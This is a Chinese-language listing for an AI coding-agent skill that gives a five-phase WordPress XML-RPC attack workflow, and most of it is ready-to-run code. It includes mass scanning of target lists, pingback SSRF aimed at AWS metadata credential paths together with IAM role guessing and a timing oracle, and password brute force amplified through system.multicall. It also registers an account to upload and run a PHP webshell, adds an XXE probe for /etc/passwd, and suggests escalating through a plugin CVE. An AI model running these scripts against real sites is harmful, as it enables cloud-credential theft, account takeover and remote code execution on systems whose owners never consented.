关于 xmlrpc-exploitation
xmlrpc-exploitation 是面向授权渗透测试人员的 WordPress XML-RPC 安全测试技能。五阶段流程涵盖端点检测、方法枚举、SSRF、批量凭据测试及特定条件下的上传 RCE 检查。
主要功能
- 01批量检测 XML-RPC 端点
- 02枚举可用方法
- 03SSRF 验证指引
- 04Multicall 凭据测试
- 05有条件的上传转 RCE 检查
- 06复测与误报排查指引
适用场景
- 01评估获授权的 WordPress 目标
- 02通过回连验证 pingback SSRF
- 03在测试限制内评估 multicall 暴露情况
- 04复测 XML-RPC 变更并避免重定向干扰
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill xmlrpc-exploitation安装后在 Claude Code 中输入/xmlrpc-exploitation确认已加载。
详细介绍
XMLRPC 利用技能
针对 WordPress XMLRPC 端点的 5 阶段利用流程。涵盖批量检测、方法枚举、通过 pingback.ping 实现 SSRF、通过 system.multicall 放大暴力破解(放大 1000 倍),以及在开放注册时通过 wp.uploadFile 实现 RCE。通过 wp-mass-recon 发现的 WordPress 目标中,约 52% 开放了 XMLRPC。
使用场景
wp-mass-recon检测到 XMLRPC 在 POST 请求中返回 HTTP 200。- 目标运行 WordPress,且开放注册(攻击链:上传 → Webshell → RCE)。
- 需要用于破解 WordPress 凭据的暴力破解放大手段。
- 通过
pingback.ping探测云元数据端点的内部 SSRF。
前提条件
- 带有 curl 的
terminal。 - 已确认目标的 XMLRPC 端点(
/xmlrpc.php在 POST 请求中调用demo.sayHello时返回 200)。 - 对于 RCE 攻击链:目标必须开放注册,或存在其他文件上传路径。
- 对于 SSRF 攻击链:需要 Collaborator/Burp Collaborator 端点或内部目标 IP。
运行方法
# Phase 1: Bulk detection on target list
while read -r domain; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
[[ "$code" == "200" ]] && echo "OPEN: $domain"
sleep 0.3
done < targets.txt
# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
快速参考
| 方法 | 能力 | 严重程度 |
|---|---|---|
demo.sayHello | 确认 XMLRPC 正常运行 | 信息 |
system.listMethods | 枚举所有可用方法 | 信息 |
system.multicall | 在单个请求中执行多个方法 | 严重 — 暴力破解放大 1000 倍 |
pingback.ping | SSRF — 服务器发起出站 HTTP 请求 | 高 — 探测内部网络、IMDS |
wp.getUsers | 枚举 WordPress 用户 | 中 |
wp.getPosts | 列出已发布的文章 | 低 |
wp.uploadFile | 将文件上传到媒体库 | 严重 — 与开放注册结合时可上传 Webshell |
wp.getOptions | 读取 WordPress 选项(siteurl、admin_email) | 中 |
wp.getPostStatusList | 获取文章状态 | 低 |
流程
阶段 1 — 批量检测
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt
echo "domain,code,hello" > xmlrpc_open.csv
while read -r domain; do
resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
if echo "$resp" | grep -q "Hello"; then
echo "$domain,200,yes" >> xmlrpc_open.csv
echo "[OPEN] $domain"
fi
done < targets.txt
阶段 2 — 方法枚举
TARGET="$1"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-H "Accept-Encoding: identity" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort
重点关注的方法:system.multicall、pingback.ping、wp.uploadFile、wp.getUsers、wp.getOptions。
阶段 3 — 通过 pingback.ping 实现 SSRF
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"
如果回调收到请求,则目标存在 SSRF 漏洞。接下来探测内部服务(务必包含 Accept-Encoding: identity,以避免 LiteSpeed gzip 压缩):
# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
"EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
"webserver-role" "app-role" "default")
for role in "${ROLES[@]}"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>" 2>/dev/null)
fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
echo " role=$role -> faultCode ${fc:-no-fault}"
sleep 0.5
done
向内部地址发送 pingback 时,faultCode 0 表示请求已到达目标。faultCode 17 或 32 表示请求被阻止或目标不可达。
阶段 3b — 通过盲 SSRF 和计时预言机提取数据
当 pingback.ping 返回 faultCode 0,但无法查看响应内容(WordPress 的常见行为)时,可以利用计时差异逐字符提取数据或枚举 IAM 角色。
工作原理: pingback SSRF 会获取 URL,IMDS 会返回数据。WordPress 服务器会丢弃响应正文(因为它不是有效的博客文章 URL),但读取响应所花费的时间与响应大小相关。
IAM 角色枚举:
import subprocess, time
TARGET = "target.com"
def ssrf_time(url):
xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
f"https://{TARGET}/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")
# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
"SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
exists = "FOUND" if t > baseline * 1.15 else "404"
print(f" {role}: {t:.3f}s -> {exists}")
案例来源(retail.example.com,2026 年 6 月):
- IMDS
/meta-data/:344ms(响应较大 — 路径列表) - IMDS
/iam/security-credentials/:435ms(响应很大 — IAM 角色列表) - IMDS
/instance-id:301ms(响应较小 — 短字符串)
注意事项: 网络抖动可能导致 ±50ms 的偏差。每项测试运行 3 次,并取中位数。如果基线偏差超过 20%,则此技术不可靠。
阶段 4 — 放大暴力破解(system.multicall)
system.multicall 允许在单个 HTTP 请求中执行多个 XMLRPC 方法。单个请求可以包含 100 多个使用不同凭据的 wp.getUsers 调用,相比顺序请求可放大 1000 倍。
TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"
# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xml
如果身份验证成功,响应中会显示用户数据,而不是 faultCode 403。
阶段 5 — 通过开放注册和 wp.uploadFile 实现 RCE
如果目标开放注册,且 XMLRPC 支持 wp.uploadFile:
TARGET="$1"
# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attackusr&[email protected]&wp-submit=Register"
# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
echo "SUBSCRIBER - upload blocked. Need escalation first:"
echo " a) Brute force admin (system.multicall 1000 pwd/req)"
echo " b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
echo " c) Check if default role changed by plugin"
exit 1
fi
# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\\\"1.0\\\"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param>
<param><value><struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>application/x-php</string></value></member>
<member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
</struct></value></param>
</params>
</methodCall>"
# Step 4: Access webshell
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
重新测试行为
测试原始 XML-RPC URL 时不要跟随重定向,然后单独检查任何重定向目标。跟随重定向可能会用 HTML 页面替换协议响应,从而造成误报回归。状态码变化不足以判定端点;必须要求响应正文符合协议,或出现预期的受控回调。
注意事项
- pingback 中的 faultCode 0 ≠ 已确认 SSRF。 有些服务端会对所有 pingback 返回 faultCode 0。请先使用自己的 Collaborator 回调验证(这是决定性测试)。
- 解析 faultCode: 使用
re.search(r'faultCode[^0-9]*([0-9]+)', r.text)可靠地提取 fault code。faultCode 0= 已接受,faultCode 17= 找不到 URL,faultCode 32= 已阻止/发生错误。 - system.multicall 可能受限。 有些主机会在
system.listMethods中公开此方法,但实际调用时会返回 faultCode。构造多调用 payload 前,先用单个调用进行测试。 - 跟随重定向(
-L)可能会隐藏 XML-RPC POST 响应。 使用不带-L的方式捕获原始响应;将重定向作为单独的端点调查。 - LiteSpeed 在 multicall 时返回 HTTP 500。 即使内部方法执行成功,LiteSpeed 也会在 multicall payload 超过 50kb 时返回 HTTP 500。仍要检查 HTTP 500 响应正文——查找
isAdmin、blogid或blogName字符串。使用较小的批次(每个请求尝试 50 个密码,而不是 100 个)。 - 备用 IP 编码会改变解析器行为。 仅当授权明确包含 SSRF 过滤器绕过验证时才测试这些编码。
- 大型 multicall 批次会加重负载。 从单个方法调用开始,只在约定的请求和身份验证测试限制范围内逐步增加。
- BusyBox grep 不支持
-P。 精简环境可能提供 BusyBox grep,它不支持与 Perl 兼容的正则表达式。复杂匹配可使用grep -oE或 Python。 - pingback SSRF 中所有端口都会返回 faultCode 0。 无论内部 IP 的端口是否实际开放,WordPress pingback.ping 都会返回 faultCode 0。该响应无法区分端口开放还是关闭。扫描端口时,可使用基于时序的检测:有监听服务的开放端口响应更快(不到 1 秒),而关闭端口会超时。但通过 CDN 缓存的 XMLRPC 处理程序进行检测,即便如此也不可靠。
- system.multicall 成功标记。 multicall 响应中的成功身份验证会显示
isAdmin、blogid或blogName,而不仅仅是没有 faultCode 403。请检查这三个关键词。 - LiteSpeed gzip 压缩。 即使没有 Accept-Encoding,LiteSpeed 也会用 gzip 压缩 XMLRPC 响应。为 curl 添加
-H "Accept-Encoding: identity",或通过 Python 管道解压 gzip。否则,grep 无法在压缩后的二进制数据中找到 fault code。 - 正则表达式的可移植性很重要。 只有 BusyBox grep 可用时,使用 Python 处理需要 PCRE 功能的表达式。
- wp.uploadFile 需要身份验证。 没有有效凭据或开放注册时,此漏洞无法利用。重要:即使凭据有效,WordPress 6.x 也会将新用户注册为 SUBSCRIBER——订阅者无法通过 XMLRPC 上传文件。 尝试上传前,务必通过
wp.getProfile验证角色。如果是订阅者,请尝试提权(暴力破解管理员凭据、利用插件 CVE,或使用应用程序密码)。\n- Mailinator 密码重置流程。 WordPress 注册会发送重置链接(而不是密码)。你必须:(1) 读取 Mailinator 收件箱,从 URL 中提取key=...;(2) GET 重置页面以获取wp-resetpass-*Cookie;(3) POST 新密码。邮件 URL 中的rp_key参数是必需的——HTML 表单可能不会自动填入该参数。 - XMLRPC 中的 XXE: 较旧的 PHP/libxml2 版本在解析 XMLRPC 时会启用外部实体。可将
<!ENTITY xxe SYSTEM "file:///etc/passwd">作为额外的探测向量。 - IMDSv2 会阻止 pingback: IMDSv2 需要
X-aws-ec2-metadata-token请求头(向/latest/api/token发送 PUT)。pingback SSRF 只能设置 URL 目标,无法设置请求头。攻击面是 IMDSv1。
验证
demo.sayHelloMUST 在响应正文中返回Hello!,以确认 XMLRPC 正常运行。pingback.pingSSRF MUST 在你控制的服务器上触发回调(而不只是返回 faultCode 0)。system.multicallMUST 为每个嵌入的方法调用返回不同的响应。- RCE 链 MUST 从上传的 webshell 中生成
id或whoami的输出。 - IMDS 角色猜测:在没有 Collaborator 回调的角色路径上返回
faultCode 0= 未确认——应视为“SSRF 可能存在,但需要带外验证”。